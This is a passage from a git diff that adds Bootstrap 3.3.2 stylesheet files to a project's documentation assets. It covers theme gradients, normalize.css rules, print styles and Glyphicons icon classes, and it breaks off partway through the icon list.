100%);background-image:-o-linear-gradient(top,#5bc0de 0,#2aabd2 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#5bc0de),to(#2aabd2));background-image:linear-gradient(to bottom,#5bc0de 0,#2aabd2 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5bc0de', endColorstr='#ff2aabd2', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);background-repeat:repeat-x;border-color:#28a4c9}.btn-info:focus,.btn-info:hover{background-color:#2aabd2;background-position:0 -15px}.btn-info.active,.btn-info:active{background-color:#2aabd2;border-color:#28a4c9}.btn-info.disabled,.btn-info:disabled,.btn-info[disabled]{background-color:#2aabd2;background-image:none}.btn-warning{background-image:-webkit-linear-gradient(top,#f0ad4e 0,#eb9316 100%);background-image:-o-linear-gradient(top,#f0ad4e 0,#eb9316 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#f0ad4e),to(#eb9316));background-image:linear-gradient(to bottom,#f0ad4e 0,#eb9316 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff0ad4e', endColorstr='#ffeb9316', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);background-repeat:repeat-x;border-color:#e38d13}.btn-warning:focus,.btn-warning:hover{background-color:#eb9316;background-position:0 -15px}.btn-warning.active,.btn-warning:active{background-color:#eb9316;border-color:#e38d13}.btn-warning.disabled,.btn-warning:disabled,.btn-warning[disabled]{background-color:#eb9316;background-image:none}.btn-danger{background-image:-webkit-linear-gradient(top,#d9534f 0,#c12e2a 100%);background-image:-o-linear-gradient(top,#d9534f 0,#c12e2a 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#d9534f),to(#c12e2a));background-image:linear-gradient(to bottom,#d9534f 0,#c12e2a 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9534f', endColorstr='#ffc12e2a', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);background-repeat:repeat-x;border-color:#b92c28}.btn-danger:focus,.btn-danger:hover{background-color:#c12e2a;background-position:0 -15px}.btn-danger.active,.btn-danger:active{background-color:#c12e2a;border-color:#b92c28}.btn-danger.disabled,.btn-danger:disabled,.btn-danger[disabled]{background-color:#c12e2a;background-image:none}.img-thumbnail,.thumbnail{-webkit-box-shadow:0 1px 2px rgba(0,0,0,.075);box-shadow:0 1px 2px rgba(0,0,0,.075)}.dropdown-menu>li>a:focus,.dropdown-menu>li>a:hover{background-color:#e8e8e8;background-image:-webkit-linear-gradient(top,#f5f5f5 0,#e8e8e8 100%);background-image:-o-linear-gradient(top,#f5f5f5 0,#e8e8e8 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#f5f5f5),to(#e8e8e8));background-image:linear-gradient(to bottom,#f5f5f5 0,#e8e8e8 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff5f5f5', endColorstr='#ffe8e8e8', GradientType=0);background-repeat:repeat-x}.dropdown-menu>.active>a,.dropdown-menu>.active>a:focus,.dropdown-menu>.active>a:hover{background-color:#2e6da4;background-image:-webkit-linear-gradient(top,#337ab7 0,#2e6da4 100%);background-image:-o-linear-gradient(top,#337ab7 0,#2e6da4 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#337ab7),to(#2e6da4));background-image:linear-gradient(to bottom,#337ab7 0,#2e6da4 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff2e6da4', GradientType=0);background-repeat:repeat-x}.navbar-default{background-image:-webkit-linear-gradient(top,#fff 0,#f8f8f8 100%);background-image:-o-linear-gradient(top,#fff 0,#f8f8f8 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#fff),to(#f8f8f8));background-image:linear-gradient(to bottom,#fff 0,#f8f8f8 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffffff', endColorstr='#fff8f8f8', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);background-repeat:repeat-x;border-radius:4px;-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,.15),0 1px 5px rgba(0,0,0,.075);box-shadow:inset 0 1px 0 rgba(255,255,255,.15),0 1px 5px rgba(0,0,0,.075)}.navbar-default .navbar-nav>.active>a,.navbar-default .navbar-nav>.open>a{background-image:-webkit-linear-gradient(top,#dbdbdb 0,#e2e2e2 100%);background-image:-o-linear-gradient(top,#dbdbdb 0,#e2e2e2 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#dbdbdb),to(#e2e2e2));background-image:linear-gradient(to bottom,#dbdbdb 0,#e2e2e2 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffdbdbdb', endColorstr='#ffe2e2e2', GradientType=0);background-repeat:repeat-x;-webkit-box-shadow:inset 0 3px 9px rgba(0,0,0,.075);box-shadow:inset 0 3px 9px rgba(0,0,0,.075)}.navbar-brand,.navbar-nav>li>a{text-shadow:0 1px 0 rgba(255,255,255,.25)}.navbar-inverse{background-image:-webkit-linear-gradient(top,#3c3c3c 0,#222 100%);background-image:-o-linear-gradient(top,#3c3c3c 0,#222 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#3c3c3c),to(#222));background-image:linear-gradient(to bottom,#3c3c3c 0,#222 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff3c3c3c', endColorstr='#ff222222', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);background-repeat:repeat-x}.navbar-inverse .navbar-nav>.active>a,.navbar-inverse .navbar-nav>.open>a{background-image:-webkit-linear-gradient(top,#080808 0,#0f0f0f 100%);background-image:-o-linear-gradient(top,#080808 0,#0f0f0f 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#080808),to(#0f0f0f));background-image:linear-gradient(to bottom,#080808 0,#0f0f0f 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff080808', endColorstr='#ff0f0f0f', GradientType=0);background-repeat:repeat-x;-webkit-box-shadow:inset 0 3px 9px rgba(0,0,0,.25);box-shadow:inset 0 3px 9px rgba(0,0,0,.25)}.navbar-inverse .navbar-brand,.navbar-inverse .navbar-nav>li>a{text-shadow:0 -1px 0 rgba(0,0,0,.25)}.navbar-fixed-bottom,.navbar-fixed-top,.navbar-static-top{border-radius:0}@media (max-width:767px){.navbar .navbar-nav .open .dropdown-menu>.active>a,.navbar .navbar-nav .open .dropdown-menu>.active>a:focus,.navbar .navbar-nav .open .dropdown-menu>.active>a:hover{color:#fff;background-image:-webkit-linear-gradient(top,#337ab7 0,#2e6da4 100%);background-image:-o-linear-gradient(top,#337ab7 0,#2e6da4 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#337ab7),to(#2e6da4));background-image:linear-gradient(to bottom,#337ab7 0,#2e6da4 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff2e6da4', GradientType=0);background-repeat:repeat-x}}.alert{text-shadow:0 1px 0 rgba(255,255,255,.2);-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,.25),0 1px 2px rgba(0,0,0,.05);box-shadow:inset 0 1px 0 rgba(255,255,255,.25),0 1px 2px rgba(0,0,0,.05)}.alert-success{background-image:-webkit-linear-gradient(top,#dff0d8 0,#c8e5bc 100%);background-image:-o-linear-gradient(top,#dff0d8 0,#c8e5bc 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#dff0d8),to(#c8e5bc));background-image:linear-gradient(to bottom,#dff0d8 0,#c8e5bc 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffdff0d8', endColorstr='#ffc8e5bc', GradientType=0);background-repeat:repeat-x;border-color:#b2dba1}.alert-info{background-image:-webkit-linear-gradient(top,#d9edf7 0,#b9def0 100%);background-image:-o-linear-gradient(top,#d9edf7 0,#b9def0 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#d9edf7),to(#b9def0));background-image:linear-gradient(to bottom,#d9edf7 0,#b9def0 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9edf7', endColorstr='#ffb9def0', GradientType=0);background-repeat:repeat-x;border-color:#9acfea}.alert-warning{background-image:-webkit-linear-gradient(top,#fcf8e3 0,#f8efc0 100%);background-image:-o-linear-gradient(top,#fcf8e3 0,#f8efc0 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#fcf8e3),to(#f8efc0));background-image:linear-gradient(to bottom,#fcf8e3 0,#f8efc0 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fffcf8e3', endColorstr='#fff8efc0', GradientType=0);background-repeat:repeat-x;border-color:#f5e79e}.alert-danger{background-image:-webkit-linear-gradient(top,#f2dede 0,#e7c3c3 100%);background-image:-o-linear-gradient(top,#f2dede 0,#e7c3c3 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#f2dede),to(#e7c3c3));background-image:linear-gradient(to bottom,#f2dede 0,#e7c3c3 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff2dede', endColorstr='#ffe7c3c3', GradientType=0);background-repeat:repeat-x;border-color:#dca7a7}.progress{background-image:-webkit-linear-gradient(top,#ebebeb 0,#f5f5f5 100%);background-image:-o-linear-gradient(top,#ebebeb 0,#f5f5f5 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#ebebeb),to(#f5f5f5));background-image:linear-gradient(to bottom,#ebebeb 0,#f5f5f5 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffebebeb', endColorstr='#fff5f5f5', GradientType=0);background-repeat:repeat-x}.progress-bar{background-image:-webkit-linear-gradient(top,#337ab7 0,#286090 100%);background-image:-o-linear-gradient(top,#337ab7 0,#286090 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#337ab7),to(#286090));background-image:linear-gradient(to bottom,#337ab7 0,#286090 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff286090', GradientType=0);background-repeat:repeat-x}.progress-bar-success{background-image:-webkit-linear-gradient(top,#5cb85c 0,#449d44 100%);background-image:-o-linear-gradient(top,#5cb85c 0,#449d44 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#5cb85c),to(#449d44));background-image:linear-gradient(to bottom,#5cb85c 0,#449d44 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5cb85c', endColorstr='#ff449d44', GradientType=0);background-repeat:repeat-x}.progress-bar-info{background-image:-webkit-linear-gradient(top,#5bc0de 0,#31b0d5 100%);background-image:-o-linear-gradient(top,#5bc0de 0,#31b0d5 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#5bc0de),to(#31b0d5));background-image:linear-gradient(to bottom,#5bc0de 0,#31b0d5 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5bc0de', endColorstr='#ff31b0d5', GradientType=0);background-repeat:repeat-x}.progress-bar-warning{background-image:-webkit-linear-gradient(top,#f0ad4e 0,#ec971f 100%);background-image:-o-linear-gradient(top,#f0ad4e 0,#ec971f 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#f0ad4e),to(#ec971f));background-image:linear-gradient(to bottom,#f0ad4e 0,#ec971f 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff0ad4e', endColorstr='#ffec971f', GradientType=0);background-repeat:repeat-x}.progress-bar-danger{background-image:-webkit-linear-gradient(top,#d9534f 0,#c9302c 100%);background-image:-o-linear-gradient(top,#d9534f 0,#c9302c 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#d9534f),to(#c9302c));background-image:linear-gradient(to bottom,#d9534f 0,#c9302c 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9534f', endColorstr='#ffc9302c', GradientType=0);background-repeat:repeat-x}.progress-bar-striped{background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:-o-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent)}.list-group{border-radius:4px;-webkit-box-shadow:0 1px 2px rgba(0,0,0,.075);box-shadow:0 1px 2px rgba(0,0,0,.075)}.list-group-item.active,.list-group-item.active:focus,.list-group-item.active:hover{text-shadow:0 -1px 0 #286090;background-image:-webkit-linear-gradient(top,#337ab7 0,#2b669a 100%);background-image:-o-linear-gradient(top,#337ab7 0,#2b669a 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#337ab7),to(#2b669a));background-image:linear-gradient(to bottom,#337ab7 0,#2b669a 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff2b669a', GradientType=0);background-repeat:repeat-x;border-color:#2b669a}.list-group-item.active .badge,.list-group-item.active:focus .badge,.list-group-item.active:hover .badge{text-shadow:none}.panel{-webkit-box-shadow:0 1px 2px rgba(0,0,0,.05);box-shadow:0 1px 2px rgba(0,0,0,.05)}.panel-default>.panel-heading{background-image:-webkit-linear-gradient(top,#f5f5f5 0,#e8e8e8 100%);background-image:-o-linear-gradient(top,#f5f5f5 0,#e8e8e8 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#f5f5f5),to(#e8e8e8));background-image:linear-gradient(to bottom,#f5f5f5 0,#e8e8e8 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff5f5f5', endColorstr='#ffe8e8e8', GradientType=0);background-repeat:repeat-x}.panel-primary>.panel-heading{background-image:-webkit-linear-gradient(top,#337ab7 0,#2e6da4 100%);background-image:-o-linear-gradient(top,#337ab7 0,#2e6da4 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#337ab7),to(#2e6da4));background-image:linear-gradient(to bottom,#337ab7 0,#2e6da4 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff2e6da4', GradientType=0);background-repeat:repeat-x}.panel-success>.panel-heading{background-image:-webkit-linear-gradient(top,#dff0d8 0,#d0e9c6 100%);background-image:-o-linear-gradient(top,#dff0d8 0,#d0e9c6 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#dff0d8),to(#d0e9c6));background-image:linear-gradient(to bottom,#dff0d8 0,#d0e9c6 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffdff0d8', endColorstr='#ffd0e9c6', GradientType=0);background-repeat:repeat-x}.panel-info>.panel-heading{background-image:-webkit-linear-gradient(top,#d9edf7 0,#c4e3f3 100%);background-image:-o-linear-gradient(top,#d9edf7 0,#c4e3f3 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#d9edf7),to(#c4e3f3));background-image:linear-gradient(to bottom,#d9edf7 0,#c4e3f3 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9edf7', endColorstr='#ffc4e3f3', GradientType=0);background-repeat:repeat-x}.panel-warning>.panel-heading{background-image:-webkit-linear-gradient(top,#fcf8e3 0,#faf2cc 100%);background-image:-o-linear-gradient(top,#fcf8e3 0,#faf2cc 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#fcf8e3),to(#faf2cc));background-image:linear-gradient(to bottom,#fcf8e3 0,#faf2cc 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fffcf8e3', endColorstr='#fffaf2cc', GradientType=0);background-repeat:repeat-x}.panel-danger>.panel-heading{background-image:-webkit-linear-gradient(top,#f2dede 0,#ebcccc 100%);background-image:-o-linear-gradient(top,#f2dede 0,#ebcccc 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#f2dede),to(#ebcccc));background-image:linear-gradient(to bottom,#f2dede 0,#ebcccc 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff2dede', endColorstr='#ffebcccc', GradientType=0);background-repeat:repeat-x}.well{background-image:-webkit-linear-gradient(top,#e8e8e8 0,#f5f5f5 100%);background-image:-o-linear-gradient(top,#e8e8e8 0,#f5f5f5 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#e8e8e8),to(#f5f5f5));background-image:linear-gradient(to bottom,#e8e8e8 0,#f5f5f5 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffe8e8e8', endColorstr='#fff5f5f5', GradientType=0);background-repeat:repeat-x;border-color:#ededed;-webkit-box-shadow:inset 0 1px 3px rgba(0,0,0,.05),0 1px 0 rgba(255,255,255,.1);box-shadow:inset 0 1px 3px rgba(0,0,0,.05),0 1px 0 rgba(255,255,255,.1)} \ No newline at end of file diff --git a/docs/assets/css/bootstrap.css b/docs/assets/css/bootstrap.css new file mode 100644 index 000000000..862c11416 --- /dev/null +++ b/docs/assets/css/bootstrap.css @@ -0,0 +1,6572 @@ +/*! + * Bootstrap v3.3.2 (http://getbootstrap.com) + * Copyright 2011-2015 Twitter, Inc. + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + */ + +/*! normalize.css v3.0.2 | MIT License | git.io/normalize */ +html { + font-family: sans-serif; + -webkit-text-size-adjust: 100%; + -ms-text-size-adjust: 100%; +} +body { + margin: 0; +} +article, +aside, +details, +figcaption, +figure, +footer, +header, +hgroup, +main, +menu, +nav, +section, +summary { + display: block; +} +audio, +canvas, +progress, +video { + display: inline-block; + vertical-align: baseline; +} +audio:not([controls]) { + display: none; + height: 0; +} +[hidden], +template { + display: none; +} +a { + background-color: transparent; +} +a:active, +a:hover { + outline: 0; +} +abbr[title] { + border-bottom: 1px dotted; +} +b, +strong { + font-weight: bold; +} +dfn { + font-style: italic; +} +h1 { + margin: .67em 0; + font-size: 2em; +} +mark { + color: #000; + background: #ff0; +} +small { + font-size: 80%; +} +sub, +sup { + position: relative; + font-size: 75%; + line-height: 0; + vertical-align: baseline; +} +sup { + top: -.5em; +} +sub { + bottom: -.25em; +} +img { + border: 0; +} +svg:not(:root) { + overflow: hidden; +} +figure { + margin: 1em 40px; +} +hr { + height: 0; + -webkit-box-sizing: content-box; + -moz-box-sizing: content-box; + box-sizing: content-box; +} +pre { + overflow: auto; +} +code, +kbd, +pre, +samp { + font-family: monospace, monospace; + font-size: 1em; +} +button { + box-shadow: none !important; +} +button, +input, +optgroup, +select, +textarea { + margin: 0; + font: inherit; + color: inherit; +} +button { + overflow: visible; +} +button, +select { + text-transform: none; +} +button, +html input[type="button"], +input[type="reset"], +input[type="submit"] { + -webkit-appearance: button; + cursor: pointer; +} +button[disabled], +html input[disabled] { + cursor: default; +} +button::-moz-focus-inner, +input::-moz-focus-inner { + padding: 0; + border: 0; +} +input { + line-height: normal; +} +input[type="checkbox"], +input[type="radio"] { + -webkit-box-sizing: border-box; + -moz-box-sizing: border-box; + box-sizing: border-box; + padding: 0; +} +input[type="number"]::-webkit-inner-spin-button, +input[type="number"]::-webkit-outer-spin-button { + height: auto; +} +input[type="search"] { + -webkit-box-sizing: content-box; + -moz-box-sizing: content-box; + box-sizing: content-box; + -webkit-appearance: textfield; +} +input[type="search"]::-webkit-search-cancel-button, +input[type="search"]::-webkit-search-decoration { + -webkit-appearance: none; +} +fieldset { + padding: .35em .625em .75em; + margin: 0 2px; + border: 1px solid #c0c0c0; +} +legend { + padding: 0; + border: 0; +} +textarea { + overflow: auto; +} +optgroup { + font-weight: bold; +} +table { + border-spacing: 0; + border-collapse: collapse; +} +td, +th { + padding: 0; +} +/*! Source: https://github.com/h5bp/html5-boilerplate/blob/master/src/css/main.css */ +@media print { + *, + *:before, + *:after { + color: #000 !important; + text-shadow: none !important; + background: transparent !important; + -webkit-box-shadow: none !important; + box-shadow: none !important; + } + a, + a:visited { + text-decoration: underline; + } + a[href]:after { + content: " (" attr(href) ")"; + } + abbr[title]:after { + content: " (" attr(title) ")"; + } + a[href^="#"]:after, + a[href^="javascript:"]:after { + content: ""; + } + pre, + blockquote { + border: 1px solid #999; + + page-break-inside: avoid; + } + thead { + display: table-header-group; + } + tr, + img { + page-break-inside: avoid; + } + img { + max-width: 100% !important; + } + p, + h2, + h3 { + orphans: 3; + widows: 3; + } + h2, + h3 { + page-break-after: avoid; + } + select { + background: #fff !important; + } + .navbar { + display: none; + } + .btn > .caret, + .dropup > .btn > .caret { + border-top-color: #000 !important; + } + .label { + border: 1px solid #000; + } + .table { + border-collapse: collapse !important; + } + .table td, + .table th { + background-color: #fff !important; + } + .table-bordered th, + .table-bordered td { + border: 1px solid #ddd !important; + } +} +@font-face { + font-family: 'Glyphicons Halflings'; + + src: url('../fonts/glyphicons-halflings-regular.eot'); + src: url('../fonts/glyphicons-halflings-regular.eot?#iefix') format('embedded-opentype'), url('../fonts/glyphicons-halflings-regular.woff2') format('woff2'), url('../fonts/glyphicons-halflings-regular.woff') format('woff'), url('../fonts/glyphicons-halflings-regular.ttf') format('truetype'), url('../fonts/glyphicons-halflings-regular.svg#glyphicons_halflingsregular') format('svg'); +} +.glyphicon { + position: relative; + top: 1px; + display: inline-block; + font-family: 'Glyphicons Halflings'; + font-style: normal; + font-weight: normal; + line-height: 1; + + -webkit-font-smoothing: antialiased; + -moz-osx-font-smoothing: grayscale; +} +.glyphicon-asterisk:before { + content: "\2a"; +} +.glyphicon-plus:before { + content: "\2b"; +} +.glyphicon-euro:before, +.glyphicon-eur:before { + content: "\20ac"; +} +.glyphicon-minus:before { + content: "\2212"; +} +.glyphicon-cloud:before { + content: "\2601"; +} +.glyphicon-envelope:before { + content: "\2709"; +} +.glyphicon-pencil:before { + content: "\270f"; +} +.glyphicon-glass:before { + content: "\e001"; +} +.glyphicon-music:before { + content: "\e002"; +} +.glyphicon-search:before { + content: "\e003"; +} +.glyphicon-heart:before { + content: "\e005"; +} +.glyphicon-star:before { + content: "\e006"; +} +.glyphicon-star-empty:before { + content: "\e007"; +} +.glyphicon-user:before { + content: "\e008"; +} +.glyphicon-film:before { + content: "\e009"; +} +.glyphicon-th-large:before { + content: "\e010"; +} +.glyphicon-th:before { + content: "\e011"; +} +.glyphicon-th-list:before { + content: "\e012"; +} +.glyphicon-ok:before { + content: "\e013"; +} +.glyphicon-remove:before { + content: "\e014"; +} +.glyphicon-zoom-in:before { + content: "\e015"; +} +.glyphicon-zoom-out:before { + content: "\e016"; +} +.glyphicon-off:before { + content: "\e017"; +} +.glyphicon-signal:before { + content: "\e018"; +} +.glyphicon-cog:before { + content: "\e019"; +} +.glyphicon-trash:before { + content: "\e020"; +} +.glyphicon-home:before { + content: "\e021"; +} +.glyphicon-file:before { + content: "\e022"; +} +.glyphicon-time:before { + content: "\e023"; +} +.glyphicon-road:before { + content: "\e024"; +} +.glyphicon-download-alt:before { + content: "\e025"; +} +.glyphicon-download:before { + content: "\e026"; +} +.glyphicon-upload:before { + content: "\e027"; +} +.glyphicon-inbox:before { + content: "\e028"; +} +.glyphicon-play-circle:before { + content: "\e029"; +} +.glyphicon-repeat:before { + content: "\e030"; +} +.glyphicon-refresh:before { + content: "\e031"; +} +.glyphicon-list-alt:before { + content: "\e032"; +} +.glyphicon-lock:before { + content: "\e033"; +} +.glyphicon-flag:before { + content: "\e034"; +} +.glyphicon-headphones:before { + content: "\e035"; +} +.glyphicon-volume-off:before { + content: "\e036"; +} +.glyphicon-volume-down:before { + content: "\e037"; +} +.glyphicon-volume-up:before { + content: "\e038"; +} +.glyphicon-qrcode:before { + content: "\e039"; +} +.glyphicon-barcode:before { + content: "\e040"; +} +.glyphicon-tag:before { + content: "\e041"; +} +.glyphicon-tags:before { + content: "\e042"; +} +.glyphicon-book:before { + content: "\e043"; +} +.glyphicon-bookmark:before { + content: "\e044"; +} +.glyphicon-print:before { + content: "\e045"; +} +.glyphicon-camera:before { + content: "\e046"; +} +.glyphicon-font:before { + content: "\e047"; +} +.glyphicon-bold:before { + content: "\e048"; +} +.glyphicon-italic:before { + content: "\e049"; +} +.glyphicon-text-height:before { + content: "\e050"; +} +.glyphicon-text-width:before { + content: "\e051"; +} +.glyphicon-align-left:before { + content: "\e052"; +} +.glyphicon-align-center:before { + content: "\e053"; +} +.glyphicon-align-right:before { + content: "\e054"; +} +.glyphicon-align-justify:before { + content: "\e055"; +} +.glyphicon-list:before { + content: "\e056"; +} +.glyphicon-indent-left:before { + content: "\e057"; +} +.glyphicon-indent-right:before { + content: "\e058"; +} +.glyphicon-facetime-video:before { + content: "\e059"; +} +.glyphicon-picture:before { + content: "\e060"; +} +.glyphicon-map-marker:before { + content: "\e062"; +} +.glyphicon-adjust:before { + content: "\e063"; +} +.glyphicon-tint:before { + content: "\e064"; +} +.glyphicon-edit:before { + content: "\e065"; +} +.glyphicon-share:before { + content: "\e066"; +} +.glyphicon-check:before { + content: "\e067"; +} +.glyphicon-move:before { + content: "\e068"; +} +.glyphicon-step-backward:before { + content: "\e069"; +} +.glyphicon-fast-backward:before { + content: "\e070"; +} +.glyphicon-backward:before { + content: "\e071"; +} +.glyphicon-play:before { + content: "\e072"; +} +.glyphicon-pause:before { + content: "\e073"; +} +.glyphicon-stop:before { + content: "\e074"; +} +.glyphicon-forward:before { + content: "\e075"; +} +.glyphicon-fast-forward:before { + content: "\e076"; +} +.glyphicon-step-forward:before { + content: "\e077"; +} +.glyphicon-eject:before { + content: "\e078"; +} +.glyphicon-chevron-left:before { + content: "\e079"; +} +.glyphicon-chevron-right:before { + content: "\e080"; +} +.glyphicon-plus-sign:before { + content: "\e081"; +} +.glyphicon-minus-sign:before { + content: "\e082"; +} +.glyphicon-remove-sign:before { + content: "\e083"; +} +.glyphicon-ok-sign:before { + content: "\e084"; +} +.glyphicon-question-sign:before { + content: "\e085"; +} +.glyphicon-info-sign:before { + content: "\e086"; +} +.glyphicon-screenshot:before { + content: "\e087"; +} +.glyphicon-remove-circle:before { + content: "\e088"; +} +.glyphicon-ok-circle:before { + content: "\e089"; +} +.glyphicon-ban-circle:before { + content: "\e090"; +} +.glyphicon-arrow-left:before { + content: "\e091"; +} +.glyphicon-arrow-right:before { + content: "\e092"; +} +.glyphicon-arrow-up:before { + content: "\e093"; +} +.glyphicon-arrow-down:before { + content: "\e094"; +} +.glyphicon-share-alt:before { + content: "\e095"; +} +.glyphicon-resize-full:before { + content: "\e096"; +} +.glyphicon-resize-small:before { + content: "\e097"; +} +.glyphicon-exclamation-sign:before { + content: "\e101"; +} +.glyphicon-gift:before { + content: "\e102"; +} +.glyphicon-leaf:before { + content: "\e103"; +} +.glyphicon-fire:before { + content: "\e104"; +} +.glyphicon-eye-open:before { + content: "\e105"; +} +.glyphicon-eye-close:before { + content: "\e106"; +} +.glyphicon-warning-sign:before { + content: "\e107"; +} +.glyphicon-plane:before { + content: "\e108"; +} +.glyphicon-calendar:before { + content: "\e109"; +} +.glyphicon-random:before { + content: "\e110"; +} +.glyphicon-comment:before { + content: "\e111"; +} +.glyphicon-magnet:before { + content: "\e112"; +} +.glyphicon-chevron-up:before { + content: "\e113"; +} +.glyphicon-chevron-down:before { + content: "\e114"; +} +.glyphicon-retweet:before { + content: "\e115"; +} +.glyphicon-shopping-cart:before { + content: "\e116"; +} +.glyphicon-folder-close:before { + content: "\e117"; +} +.glyphicon-folder-open:before { + content: "\e118"; +} +.glyphicon-resize-vertical:before { + content: "\e119"; +} +.glyphicon-resize-horizontal:before { + content: "\e120"; +} +.glyphicon-hdd:before { + content: "\e121"; +} +.glyphicon-bullhorn:before { + content: "\e122"; +} +.glyphicon-bell:before { + content: "\e123"; +} +.glyphicon-certificate:before { + content: "\e124"; +} +.glyphicon-thumbs-up:before { + content: "\e125"; +} +.glyphicon-thumbs-down:before { + content: "\e126"; +} +.glyphicon-hand-right:before { + content: "\e127"; +} +.glyphicon-hand-left:before { + content: "\e128"; +} +.glyphicon-hand-up:before { + content: "\e129"; +} +.glyphicon-hand-down:before { + content: "\e130"; +} +.glyphicon-circle-arrow-right:before { + content: "\e131"; +} +.glyphicon-circle-arrow-left:before { + content: "\e132"; +} +.glyphicon-circle-arrow-up:before { + content: "\e133"; +} +.glyphicon-circle-arrow-down:before { + content: "\e134"; +} +.glyphicon-globe:before { + content: "\e135"; +} +.glyphicon-wrench:before { + content: "\e136"; +} +.glyphicon-tasks:before { + content: "\e137"; +} +.glyphicon-filter:before { + content: "\e138"; +} +.glyphicon-briefcase:before { + content: "\e139"; +} +.glyphicon-fullscreen:before { + content: "\e140"; +} +.glyphicon-dashboard:before { + content: "\e141"; +} +.glyphicon-paperclip:before { + content: "\e142"; +} +.glyphicon-heart-empty:before { + content: "\e143"; +} +.glyphicon-link:before { + content: "\e144"; +} +.glyphicon-phone:before { + content: "\e145"; +} +.glyphicon-pushpin:before { + content: "\e146"; +} +.glyphicon-usd:before { + content: "\e148"; +} +.glyphicon-gbp:before { + content: "\e149"; +} +.glyphicon-sort:before { + content: "\e150"; +} +.glyphicon-sort-by-alphabet:before { + content: "\e151"; +} +.glyphicon-sort-by-alphabet-alt:before { + content: "\e152"; +} +.glyphicon-sort-by-order:before { + content: "\e153"; +} +.glyphicon-sort-by-order-alt:before { + content: "\e154"; +} +.glyphicon-sort-by-attributes:before { + content: "\e155"; +} +.glyphicon-sort-by-attributes-alt:before { + content: "\e156"; +} +.glyphicon-unchecked:before { + content: "\e157"; +} +.glyphicon-expand:before { + content: "\e158"; +} +.glyphicon-collapse-down:before { + content: "\e159"; +} +.glyphicon-collapse-up:before { + content: "\e160"; +} +.glyphicon-log-in:before { + content: "\e161"; +} +.glyphicon-flash:before { + content: "\e162"; +} +.glyphicon-log-out:before { + content: "\e163"; +} +.glyphicon-new-window:before { + content: "\e164"; +} +.glyphicon-record:before { + content: "\e165"; +} 